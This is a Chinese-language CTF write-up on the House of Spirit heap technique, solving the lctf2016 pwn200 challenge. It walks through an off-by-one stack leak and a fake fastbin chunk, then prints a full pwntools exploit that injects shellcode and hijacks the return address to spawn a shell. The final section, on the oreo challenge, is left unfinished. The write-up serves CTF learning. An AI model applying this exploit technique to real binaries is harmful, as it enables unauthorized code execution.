「PWN」House_of_Spirit
看看House_of_spirit
,这是一种依靠在栈上构造fake_chunk
从而实现(almost) arbitrary write
的技术。依赖fastbin
整体还是比较简单的,需要注意的就是需要16字节对齐
,且需要构造next_fake_chunk
的chunk_size
以绕过检查
实战
lctf2016_pwn200
保护啥也没开,想着就是直接ret2shellcode
梭哈,但是没有那么多字节给我们栈溢出。
第一个who are u?
的函数存在Off-by-One
的漏洞,可以泄露出400A8E
的rbp
指向的内容(也就是父函数的rbp
)
def who_are_you(content: bytes) -> bytes:
sh.sendafter(b'who are u?\n', content)
sh.recv(0x30)
return sh.recv(6).ljust(8, b'\x00')
rbp = u64(who_are_you(b'a'*0x30))
print("> rbp:", hex(rbp))
函数read_input()
返回了一个int
,虽然400A8E
没有使用,他也应该会存到栈上的某个位置,根据汇编得到其位于[rbp-0x38]
的位置
在400A29
中,可以看出dest
是指针,buf
存在8
字节的溢出,正好可以覆盖dest
,而dest
会存到ptr
中,供之后的menu
里的功能来free
和malloc
等。
到此,我们可以初步 猜想,可以在buf
这里构造一个fake_chunk
,然后把堆指针指向buf
,这样我们就有了一个在栈上的chunk
。问题是在check_out
函数中,想要free(ptr)
,我们必须依靠House_of_spirit
伪造fake_next_chunk_size
根据计算,我们可以发现刚才的id
正位于目前我们buf+0x68
的位置,因此我们不妨造一个0x50
大小的chunk
,并把id
设置成一个满足house_of_spirit
的值。
如此一来,当我们执行free(ptr)
时,便会将这个栈上的地址存到fastbin
中,此时我们重新malloc(0x60)
,并写入对应的payload
更改返回地址,便可以拿到shell
了
通过观察,我们可以发现唯一可以控制的ret_addr
是ptr+0x40
的这个。返回地址可控了,丢到哪里呢?还记得我们一开始who_r_u
的时候输入了0x30
的数据么?我们完全可以把shellcode
写到这里。只要计算一下偏移就可以了。
完整 EXP:
from pwn import *
context(os='linux', arch='amd64', log_level='DEBUG')
sh = process(['./pwn200'])
def who_are_you(content: bytes) -> bytes:
sh.sendafter(b'who are u?\n', content)
sh.recv(0x30)
return sh.recv(6).ljust(8, b'\x00')
def give_id(content: bytes):
sh.sendafter(b'give me your id ~~?', content)
def give_money(content: bytes):
sh.sendafter(b'give me money~', content)
def menu(index: int):
sh.recvuntil(b"your choice : ")
if index == 1:
sh.sendline(b"1")
elif index == 2:
sh.sendline(b"2")
sh.recvuntil(b"out~")
elif index == 3:
sh.sendline(b"3")
sh.recvuntil(b'good bye~')
def check_in(length_: bytes, content: bytes):
sh.sendlineafter(b'how long?', length_)
sh.sendlineafter(length_ + b'\n', content)
sh.recvuntil(b"in~")
def gdb_(time_: int = None, arg: str = None):
gdb.attach(sh, arg)
pause(time_)
rbp = u64(who_are_you(asm(shellcraft.sh()).ljust(0x30, b'\x00')))
# rbp = u64(who_are_you(b'a'*0x30))
print("> rbp:", hex(rbp))
give_id(b'2333') # next_fake_chunk_size
payload = p64(0) + p64(0x60) + b'\x00'*(0x40-0x10-0x08) + p64(rbp-0xb0)
give_money(payload)
menu(2)
ret_addr = rbp - 0x50
payload = b'\x00'*0x38 + p64(ret_addr) + b'\x00'*0x0F
menu(1)
check_in(b'80', payload)
menu(3)
sh.interactive()
2014_hack.lu_oreo
哈哈哥们出了个整不明白的 bug(pwntools
接不到Action
),后面再说吧,乐